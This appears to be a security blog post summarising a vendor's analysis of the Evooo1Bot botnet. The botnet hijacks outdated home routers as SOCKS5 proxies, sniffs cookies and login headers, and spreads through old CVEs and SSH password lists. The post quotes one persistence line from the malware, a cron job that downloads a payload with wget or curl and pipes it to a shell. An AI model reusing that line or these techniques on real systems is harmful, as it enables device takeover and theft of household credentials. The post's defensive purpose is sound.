Evooo1Bot Turns Home Routers Into Rented Proxies and Reads the Traffic Passing Through

A botnet is breaking into home routers with a bug from 2007. Ten known holes, and a list of 150 common logins. Nobody in the house clicked on anything. The internet still works fine.

The bug from 2007 is a command injection in a phone system management tool. Send it a few extra characters where it expects a hostname, and it runs whatever was put there. It was published on September 18, 2007. It scores 9.8. CISA still lists it as actively exploited, nineteen years later.

A flaw that old only earns a place in a 2026 botnet for one reason. Those machines are still answering.

FortiGuard Labs published the analysis on August 13, 2026, written by Cara Lin. The malware got its name from a string sitting in each sample, evooo1. Telemetry from the control server shows it has been working through internet-facing devices since July.

The other nine come from the years in between, and they sit in hardware people own:

• → NETGEAR R6250, R6400, R6700, R6900, R7000, R7100LG, R7300DST, R7900, R8000, D6220, D6400
• → Tenda AC7, AC9, AC10, AC15
• → D-Link GO-RT-AC750, DIR-823X, DIR-868L
• → Telesquare SDT-CW3B1, TLR-2005KSH
• → Alcatel OmniPCX Enterprise
• → Mitsubishi Electric and INEA ME-RTU

D-Link stopped writing firmware for the DIR-868L on June 30, 2020. The notice, SAP10189, says the company cannot resolve device or firmware issues, and it ends like this:

“D-Link strongly recommends that this product be retired and cautions that any further use of this product may be a risk to devices connected to it.”

That was 2020. In August 2025 someone published a 9.8 in the B1 revision of that same router, CVE-2025-55583: send a crafted upload request, get root. There is no patch. There will not be one. The router still gives WiFi upstairs, so it stays plugged in.

Once the malware is on the box, one command turns it into a relay. Other people’s traffic goes out through that house, over that connection, with that address on it. The operators can have the device listen for them, or have it call out to them so it works from behind the provider’s equipment. In the code the command is !socks and the protocol is SOCKS5.

A router sits in a hallway cupboard for six years. It has not been touched since, the WiFi reaches upstairs, and the provider swapped it out once. Somewhere in July it starts carrying traffic that belongs to somebody else. Any complaint that comes out of that traffic points at the family in that house.

The second command is worse. It reads the table the system keeps of open connections, pulls the login headers and session cookies out of what is passing through, and writes them to a hidden file. A router carries the traffic of the laptop upstairs, the phones, the tablet the kids use, and the work machine on the kitchen table. Anything on that network still going out over plain HTTP lands in that file. The file is /tmp/.sniff.log, filling up while the connection feels completely normal.

It also gets in without any exploit at all. The scanner logs in over SSH and works through more than 150 username and password pairs, introducing itself as an ordinary OpenSSH client so the attempt looks like any other. The list is not only factory defaults from cheap hardware. jenkins, postgres, oracle, nagios, deploy. Those are server accounts.

Next to those ten sits a second list, built into the binary and fired off with one command: Hikvision cameras, Atlassian Confluence, a Zyxel firewall, the TP-Link Archer AX21, PHP-CGI on Windows, a D-Link NAS, Kubernetes ingress-nginx, WSO2, and the MOVEit file transfer server that filled the news in 2023. Read that list and this stops being a router problem.

Then look at what the code does when it runs. Some of those entries never fire. The request does not match the attack the flaw needs, or the flaw is not a command injection at all and the code treats it as one. Non-exploitable as shipped, in Fortinet’s own words. The MOVEit entry skips the upload that the attack depends on and hands an argument to human2.aspx instead. The CVE numbers check out. Several of the exploits behind them do nothing.

None of it shows up as strange traffic. The malware talks to its control server on port 443 and the traffic is encrypted, which is what a router does when it checks for firmware. Even the text inside the binary is hidden, with AES and ChaCha20 keys folded through XOR and parked as two 32-byte constants in the .data section. The control address is 91.92.40.118, in a block announced by AS197170, and the first abuse reports against it appear in early July, the same month the campaign starts. That address can be blocked on a router or a firewall today.

The attack code itself is old news. It comes from the leaked Mirai source, with 16 flood methods numbered 0x00 to 0x0f: UDP, VSE, DNS, SYN, ACK, STOMP, GRE variants, fragmented TCP and an OVH bypass. An HTTP flood with adjustable requests sits outside that set and is called with its own key. Twelve separate builds cover the different processor types, so the same campaign runs on a router, on a camera and on a server.

Pulling the plug does nothing. The malware installs itself five times over: as a system service set to restart on failure, as an old-style init script, inside the shell profile, in the boot script, and as a scheduled job that downloads it again at five-minute intervals.

1

*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'

The report puts no country, language or group name on the operators, and that restraint is correct. In cybersecurity, attribution is one of the hardest problems there is. What is certain is how the malware works, not who runs it.

What to do with the box in the hallway:

• → Look up the model and its end of support date on the vendor site
• → Turn off remote management so the admin page cannot be reached from outside
• → Change the SSH and admin passwords away from anything the factory set
• → Block outbound traffic to 91.92.40.118

If the vendor walked away from the model years ago, no setting on that page fixes anything. Replace the box.

A command injection from 2007 is still opening doors in 2026, and the only reason is that those machines are still switched on. There is nothing clever about that. It just keeps working.

Your router carries the traffic of the laptops and phones in your house, and you can learn to read it yourself. I cover networking from the ground up, where the weak points sit, and traffic analysis with Wireshark in my ethical hacking course:

→ Join my complete ethical hacking course

Hacking is not a hobby but a way of life.

Sources: FortiGuard Labs | NIST NVD | D-Link SAP10189